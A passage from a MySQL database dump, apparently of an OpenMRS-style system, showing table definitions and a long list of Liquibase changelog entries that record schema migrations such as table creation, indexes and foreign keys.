*/; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `idgen_seq_id_gen` ( `id` int(11) NOT NULL, `next_sequence_value` int(11) NOT NULL DEFAULT '-1', `base_character_set` varchar(255) NOT NULL, `first_identifier_base` varchar(50) NOT NULL, `prefix` varchar(20) DEFAULT NULL, `suffix` varchar(20) DEFAULT NULL, `min_length` int(11) DEFAULT NULL, `max_length` int(11) DEFAULT NULL, PRIMARY KEY (`id`), CONSTRAINT `id for idgen_seq_id_gen` FOREIGN KEY (`id`) REFERENCES `idgen_identifier_source` (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `idgen_seq_id_gen` -- LOCK TABLES `idgen_seq_id_gen` WRITE; /*!40000 ALTER TABLE `idgen_seq_id_gen` DISABLE KEYS */; /*!40000 ALTER TABLE `idgen_seq_id_gen` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `liquibasechangelog` -- DROP TABLE IF EXISTS `liquibasechangelog`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `liquibasechangelog` ( `ID` varchar(63) NOT NULL, `AUTHOR` varchar(63) NOT NULL, `FILENAME` varchar(200) NOT NULL, `DATEEXECUTED` datetime NOT NULL, `ORDEREXECUTED` int(11) NOT NULL, `EXECTYPE` varchar(10) NOT NULL, `MD5SUM` varchar(35) DEFAULT NULL, `DESCRIPTION` varchar(255) DEFAULT NULL, `COMMENTS` varchar(255) DEFAULT NULL, `TAG` varchar(255) DEFAULT NULL, `LIQUIBASE` varchar(20) DEFAULT NULL, PRIMARY KEY (`ID`,`AUTHOR`,`FILENAME`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `liquibasechangelog` -- LOCK TABLES `liquibasechangelog` WRITE; /*!40000 ALTER TABLE `liquibasechangelog` DISABLE KEYS */; INSERT INTO `liquibasechangelog` VALUES ('0','bwolfe','liquibase-update-to-latest.xml','2011-09-20 00:00:00',10016,'MARK_RAN','3:ccc4741ff492cb385f44e714053920af',NULL,NULL,NULL,NULL),('02232009-1141','nribeka','liquibase-update-to-latest.xml','2016-10-27 07:11:20',10061,'EXECUTED','3:b5921fb42deb90fe52e042838d0638a0','Modify Column','Modify the password column to fit the output of SHA-512 function',NULL,'2.0.5'),('1','upul','liquibase-update-to-latest.xml','2016-10-27 07:11:18',10042,'MARK_RAN','3:7fbc03c45bb69cd497b096629d32c3f5','Add Column','Add the column to person_attribute type to connect each type to a privilege',NULL,'2.0.5'),('1-grant-new-dashboard-overview-tab-app-privileges','dkayiwa','liquibase-update-to-latest.xml','2016-10-27 07:12:07',10483,'EXECUTED','3:6af3c30685c99d96ad1cd577719b1600','Custom SQL','Granting the new patient overview tab application privileges',NULL,'2.0.5'),('1-increase-privilege-col-size-privilege','dkayiwa','liquibase-update-to-latest.xml','2016-10-27 07:12:07',10485,'EXECUTED','3:6ecff8787eca17532e310087cfd65a06','Drop Foreign Key Constraint (x2), Modify Column, Add Foreign Key Constraint (x2)','Increasing the size of the privilege column in the privilege table',NULL,'2.0.5'),('10-insert-new-app-privileges','dkayiwa','liquibase-update-to-latest.xml','2016-10-27 07:12:07',10481,'EXECUTED','3:6ca60c3d5202a79f2e43367215cb447b','Custom SQL','Inserting the new application privileges',NULL,'2.0.5'),('11-insert-new-api-privileges','dkayiwa','liquibase-update-to-latest.xml','2016-10-27 07:12:07',10482,'EXECUTED','3:fe15eb2a97dd397b15fb5c4174fabe05','Custom SQL','Inserting the new API privileges',NULL,'2.0.5'),('1226348923233-12','ben (generated)','liquibase-core-data.xml','2016-10-27 07:11:15',10022,'EXECUTED','3:7efb7ed5267126e1e44c9f344e35dd7d','Insert Row (x12)','',NULL,'2.0.5'),('1226348923233-13','ben (generated)','liquibase-core-data.xml','2016-10-27 07:11:15',10023,'EXECUTED','3:8b9e14aa00a4382aa2623b39400c9110','Insert Row (x2)','',NULL,'2.0.5'),('1226348923233-14','ben (generated)','liquibase-core-data.xml','2016-10-27 07:11:15',10027,'EXECUTED','3:8910082a3b369438f86025e4006b7538','Insert Row (x4)','',NULL,'2.0.5'),('1226348923233-15','ben (generated)','liquibase-core-data.xml','2016-10-27 07:11:15',10028,'EXECUTED','3:8485e0ebef4dc368ab6b87de939f8e82','Insert Row (x15)','',NULL,'2.0.5'),('1226348923233-16','ben (generated)','liquibase-core-data.xml','2016-10-27 07:11:15',10019,'EXECUTED','3:5778f109b607f882cc274750590d5004','Insert Row','',NULL,'2.0.5'),('1226348923233-17','ben (generated)','liquibase-core-data.xml','2016-10-27 07:11:16',10030,'EXECUTED','3:3c324233bf1f386dcc4a9be55401c260','Insert Row (x2)','',NULL,'2.0.5'),('1226348923233-18','ben (generated)','liquibase-core-data.xml','2016-10-27 07:11:16',10031,'EXECUTED','3:40ad1a506929811955f4d7d4753d576e','Insert Row (x2)','',NULL,'2.0.5'),('1226348923233-2','ben (generated)','liquibase-core-data.xml','2016-10-27 07:11:15',10020,'EXECUTED','3:35613fc962f41ed143c46e578fd64a70','Insert Row (x5)','',NULL,'2.0.5'),('1226348923233-20','ben (generated)','liquibase-core-data.xml','2016-10-27 07:11:16',10032,'EXECUTED','3:0ce5c5b83b4754b44f4bcda8eb866f3a','Insert Row','',NULL,'2.0.5'),('1226348923233-21','ben (generated)','liquibase-core-data.xml','2016-10-27 07:11:16',10033,'EXECUTED','3:51c90534135f429c1bcde82be0f6157d','Insert Row','',NULL,'2.0.5'),('1226348923233-22','ben (generated)','liquibase-core-data.xml','2016-10-27 07:11:15',10018,'EXECUTED','3:2d4897a84ce4408d8fcec69767a5c563','Insert Row','',NULL,'2.0.5'),('1226348923233-23','ben (generated)','liquibase-core-data.xml','2016-10-27 07:11:16',10034,'EXECUTED','3:19f78a07a33a5efc28b4712a07b02a29','Insert Row','',NULL,'2.0.5'),('1226348923233-6','ben (generated)','liquibase-core-data.xml','2016-10-27 07:11:15',10026,'EXECUTED','3:a947f43a1881ac56186039709a4a0ac8','Insert Row (x13)','',NULL,'2.0.5'),('1226348923233-8','ben (generated)','liquibase-core-data.xml','2016-10-27 07:11:15',10021,'EXECUTED','3:dceb0cc19be3545af8639db55785d66e','Insert Row (x7)','',NULL,'2.0.5'),('1226412230538-24','ben (generated)','liquibase-core-data.xml','2016-10-27 07:11:15',10024,'EXECUTED','3:0b77e92c0d1482c1bef7ca1add6b233b','Insert Row (x2)','',NULL,'2.0.5'),('1226412230538-7','ben (generated)','liquibase-core-data.xml','2016-10-27 07:11:15',10025,'EXECUTED','3:c189f41d824649ef72dc3cef74d3580b','Insert Row (x106)','',NULL,'2.0.5'),('1226412230538-9a','ben (generated)','liquibase-core-data.xml','2016-10-27 07:11:16',10035,'EXECUTED','3:73c2b426be208fb50f088ad4ee76c8d6','Insert Row (x4)','',NULL,'2.0.5'),('1227123456789-100','dkayiwa','liquibase-schema-only.xml','2016-10-27 07:10:24',178,'EXECUTED','3:24751e1218f5fff3d2abf8e281e557c5','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-1','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:01',1,'EXECUTED','3:a851046bb3eb5b0daccb6e69ef8a9a00','Create Table','',NULL,'2.0.5'),('1227303685425-10','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:02',8,'EXECUTED','3:3fb7e78555ddf8d8014ba336bb8b5402','Create Table','',NULL,'2.0.5'),('1227303685425-100','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:13',114,'EXECUTED','3:8d20fc37ce4266cba349eeef66951688','Create Index','',NULL,'2.0.5'),('1227303685425-101','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:13',115,'EXECUTED','3:cc9b2ad0c2ff9ad6fcfd2f56b52d795f','Create Index','',NULL,'2.0.5'),('1227303685425-102','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:13',116,'EXECUTED','3:97d1301e8ab7f35e109c733fdedde10f','Create Index','',NULL,'2.0.5'),('1227303685425-103','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:13',117,'EXECUTED','3:2447e4abc7501a18f401594e4c836fff','Create Index','',NULL,'2.0.5'),('1227303685425-104','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:13',118,'EXECUTED','3:8d6c644eaf9f696e3fee1362863c26ec','Create Index','',NULL,'2.0.5'),('1227303685425-105','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:13',119,'EXECUTED','3:fb3838f818387718d9b4cbf410d653cd','Create Index','',NULL,'2.0.5'),('1227303685425-106','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:13',120,'EXECUTED','3:a644de1082a85ab7a0fc520bb8fc23d7','Create Index','',NULL,'2.0.5'),('1227303685425-107','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:13',121,'EXECUTED','3:f11eb4e4bc4a5192b7e52622965aacb2','Create Index','',NULL,'2.0.5'),('1227303685425-108','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:14',135,'EXECUTED','3:07fc6fd2c0086f941aed0b2c95c89dc8','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-109','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:15',136,'EXECUTED','3:c2911be31587bbc868a55f13fcc3ba5e','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-11','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:02',9,'EXECUTED','3:1cef06ece4f56bfbe205ec03b75a129f','Create Table','',NULL,'2.0.5'),('1227303685425-110','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:15',137,'EXECUTED','3:32c42fa39fe81932aa02974bb19567ed','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-111','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:15',138,'EXECUTED','3:f35c8159ca7f84ae551bdb988b833760','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-112','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:15',139,'EXECUTED','3:df0a45bc276e7484f183e3190cff8394','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-115','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:15',140,'EXECUTED','3:d3b13502ef9794718d68bd0697fd7c2b','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-116','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:16',141,'EXECUTED','3:6014d91cadbbfc05bd364619d94a4f18','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-117','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:16',142,'EXECUTED','3:0841471be0ebff9aba768017b9a9717b','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-118','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:16',143,'EXECUTED','3:c73351f905761c3cee7235b526eff1a0','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-119','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:16',144,'EXECUTED','3:cd72c79bfd3c807ba5451d8ca5cb2612','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-12','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:02',10,'EXECUTED','3:b9726f1c78d0cba40d5ee61e721350f7','Create Table','',NULL,'2.0.5'),('1227303685425-120','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:17',145,'EXECUTED','3:b07d718d9d2b64060584d4c460ffc277','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-121','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:17',146,'EXECUTED','3:be141d71df248fba87a322b35f13b4db','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-122','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:17',147,'EXECUTED','3:7bcc45dda3aeea4ab3916701483443d3','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-123','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:17',148,'EXECUTED','3:031e4dcf20174b92bbbb07323b86d569','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-124','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:17',149,'EXECUTED','3:7d277181a4e9d5e14f9cb1220c6c4c57','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-125','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:18',150,'EXECUTED','3:7172ef61a904cd7ae765f0205d9e66dd','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-126','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:18',151,'EXECUTED','3:0d9a3ffc816c3e4e8649df3de01a8ff6','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-128','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:18',152,'EXECUTED','3:3a9357d6283b2bb97c1423825d6d57eb','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-129','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:18',153,'EXECUTED','3:e3923913d6f34e0e8bc7333834884419','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-13','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:03',11,'EXECUTED','3:982544aff0ae869f5ac9691d5c93a7e4','Create Table','',NULL,'2.0.5'),('1227303685425-130','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:18',154,'EXECUTED','3:dae7a98f3643acfe9db5c3b4b9e8f4ea','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-131','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:19',155,'EXECUTED','3:44a4e4791a0f727fffc96b9dab0a3fa8','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-132','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:19',156,'EXECUTED','3:16dcc5a95708dbdaff07ed27507d8e29','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-134','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:19',157,'EXECUTED','3:c37757ed38ace0bb94d8455a49e3049a','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-135','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:19',158,'EXECUTED','3:ab40ab94ab2f86a0013ecbf9dd034de4','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-136','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:19',159,'EXECUTED','3:3878ab735b369d778a7feb2b92746352','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-137','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:20',160,'EXECUTED','3:a7bf99f775c2f07b534a4df4e5c5c20b','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-139','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:20',161,'EXECUTED','3:f0a1690648292d939876bdeefa74792a','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-14','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:03',12,'EXECUTED','3:8122a19068fb1fd7b2c4d54e398ba507','Create Table','',NULL,'2.0.5'),('1227303685425-140','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:20',162,'EXECUTED','3:7ba4860a1e0a00ff49a93d4e86929691','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-141','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:20',163,'EXECUTED','3:5b176976d808cf8b1b8fae7d2b19e059','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-142','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:20',164,'EXECUTED','3:5538db250e63d70a79dce2c5a74ee528','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-143','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:21',165,'EXECUTED','3:a981ac9be845bf6c6098aa98cd4d8456','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-144','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:21',166,'EXECUTED','3:84428d9dce773758f73616129935d888','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-145','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:21',167,'EXECUTED','3:6b8af6c242f1d598591478897feed2d8','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-146','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:21',168,'EXECUTED','3:a8cddf3b63050686248e82a3b6de781f','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-147','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:22',169,'EXECUTED','3:e8b5350ad40fa006c088f08fae4d3141','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-149','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:22',170,'EXECUTED','3:b6c44ee5824ae261a9a87b8ac60fe23d','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-15','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:03',13,'EXECUTED','3:18dd3e507ecbe5212bcdf0a0a8012d88','Create Table','',NULL,'2.0.5'),('1227303685425-150','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:22',171,'EXECUTED','3:f8c495d78d68c9fc701271a8e5d1f102','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-151','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:22',172,'EXECUTED','3:94dc5b8d27f275fb06cc230eb313e430','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-153','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:22',173,'EXECUTED','3:2a04930665fe64516765263d1a9b0775','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-154','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:23',174,'EXECUTED','3:adfef8b8dd7b774b268b0968b7400f42','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-155','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:23',175,'EXECUTED','3:540b0422c733b464a33ca937348d8b4c','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-158','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:23',176,'EXECUTED','3:d1d73e19bab5821f256c01a83e2d945f','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-159','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:23',177,'EXECUTED','3:c23d0cd0eec5f20385b4182af18fc835','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-16','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:03',14,'EXECUTED','3:4c19b5c980b58e54af005e1fa50359ae','Create Table','',NULL,'2.0.5'),('1227303685425-160','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:24',179,'EXECUTED','3:cc64f6e676cb6a448f73599d8149490c','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-161','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:24',180,'EXECUTED','3:f48e300a3439d90fa2d518b3d6e145a5','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-162','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:24',181,'EXECUTED','3:467e31995c41be55426a5256d99312c4','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-163','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:24',182,'EXECUTED','3:45a4519c252f7e42d649292b022ec158','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-164','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:25',183,'EXECUTED','3:dfd51e701b716c07841c2e4ea6f59f3e','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-165','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:25',184,'EXECUTED','3:0d69b82ce833ea585e95a6887f800108','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-166','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:25',185,'EXECUTED','3:2070f44c444e1e6efdbe7dfb9f7b846d','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-167','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:25',186,'EXECUTED','3:9196c0f9792007c72233649cc7c2ac58','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-168','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:26',187,'EXECUTED','3:33d644a49e92a4bbd4cb653d6554c8d0','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-169','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:26',188,'EXECUTED','3:e75c37cbd9aa22cf95b2dc89fdb2c831','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-17','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:03',15,'EXECUTED','3:250e3f0d4bb139fa751d0875fd1d5b89','Create Table','',NULL,'2.0.5'),('1227303685425-170','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:26',189,'EXECUTED','3:ac31515d8822caa0c87705cb0706e52f','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-171','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:26',190,'EXECUTED','3:b40823e1322acea52497f43033e72e5e','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-173','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:27',191,'EXECUTED','3:b37c0b43a23ad3b072e34055875f7dcc','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-174','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:27',192,'EXECUTED','3:f8c5737a51f0f040e9fac3060c246e46','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-175','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:27',193,'EXECUTED','3:87cc15f9622b014d01d4df512a3f835e','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-176','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:27',194,'EXECUTED','3:f57273dfbaba02ea785a0e165994f74b','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-177','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:27',195,'EXECUTED','3:1555790e99827ded259d5ec7860eb1b1','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-178','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:28',196,'EXECUTED','3:757206752885a07d1eea5585ad9e2dce','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-179','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:28',197,'EXECUTED','3:018efd7d7a5e84f7c2c9cec7299d596e','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-18','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:03',16,'EXECUTED','3:2eb2063d3e1233e7ebc23f313da5bff6','Create Table','',NULL,'2.0.5'),('1227303685425-180','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:28',198,'EXECUTED','3:9ba52b3b7059674e881b7611a3428bde','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-181','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:28',199,'EXECUTED','3:ffee79a7426d7e41cf65889c2a5064f2','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-182','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:29',200,'EXECUTED','3:380743d4f027534180d818f5c507fae9','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-183','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:29',201,'EXECUTED','3:6882a4cf798e257af34753a8b5e7a157','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-184','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:29',202,'EXECUTED','3:93473623db4b6e7ca7813658da5b6771','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-185','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:29',203,'EXECUTED','3:f19a46800a4695266f3372aa709650b2','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-186','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:29',204,'EXECUTED','3:adfd7433de8d3b196d1166f62e497f8d','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-187','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:30',205,'EXECUTED','3:88b09239d29fbddd8bf4640df9f3e235','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-188','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:30',206,'EXECUTED','3:777e5970e09a3a1608bf7c40ef1ea1db','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-189','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:30',207,'EXECUTED','3:40dab4e434aa06340ba046fbd1382c6d','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-19','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:03',17,'EXECUTED','3:b5acf27abca6fec3533e081a6c57c415','Create Table','',NULL,'2.0.5'),('1227303685425-190','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:30',208,'EXECUTED','3:8766098ff9779a913d5642862955eaff','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-191','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:30',209,'EXECUTED','3:2a52afd1df6dcf64ec21f3c6ffe1d022','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-192','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:31',210,'EXECUTED','3:fa5de48b1490faa157e1977529034169','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-193','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:31',211,'EXECUTED','3:1213cb90fa9bd1561a371cc53c262d0f','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-194','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:31',212,'EXECUTED','3:2eb07e7388ff8d68d36cf2f3552c1a7c','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-195','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:31',213,'EXECUTED','3:d6ec9bb7b3bab333dcea4a3c18083616','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-196','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:31',214,'EXECUTED','3:df03afd5ef34e472fd6d43ef74a859e1','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-197','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:32',215,'EXECUTED','3:a0811395501a4423ca66de08fcf53895','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-198','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:32',216,'EXECUTED','3:e46a78b95280d9082557ed991af8dbe7','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-199','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:32',217,'EXECUTED','3:e57afffae0d6a439927e45cde4393363','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-2','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:02',2,'EXECUTED','3:d90246bb4d8342608e818a872d3335f1','Create Table','',NULL,'2.0.5'),('1227303685425-20','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:03',18,'EXECUTED','3:e0a8a4978c536423320f1ff44520169a','Create Table','',NULL,'2.0.5'),('1227303685425-200','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:32',218,'EXECUTED','3:667c2308fcf366f47fab8d9df3a3b2ae','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-201','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:33',219,'EXECUTED','3:104750a2b7779fa43e8457071e0bc33e','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-202','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:33',220,'EXECUTED','3:4b813b03362a54d89a28ed1b10bc9069','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-203','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:33',221,'EXECUTED','3:526893ceedd67d8a26747e314a15f501','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-204','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:33',222,'EXECUTED','3:d0dbb7cc972e73f6a429b273ef63132e','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-205','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:33',223,'EXECUTED','3:44244a3065d9a5531a081d176aa4e93d','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-207','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:33',224,'EXECUTED','3:77ade071c48615dbb39cbf9f01610c0e','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-208','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:34',225,'EXECUTED','3:04495bf48c23d0fe56133da87c4e9a66','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-209','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:34',226,'EXECUTED','3:ff99d75d98ce0428a57100aeb558a529','Add Foreign Key Constraint','',NULL,'2.0.5'),('1227303685425-21','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:03',19,'EXECUTED','3:f2353036e6382f45f91af5d8024fb04c','Create Table','',NULL,'2.0.5'),('1227303685425-210','ben (generated)','liquibase-schema-only.xml','2016-10-27 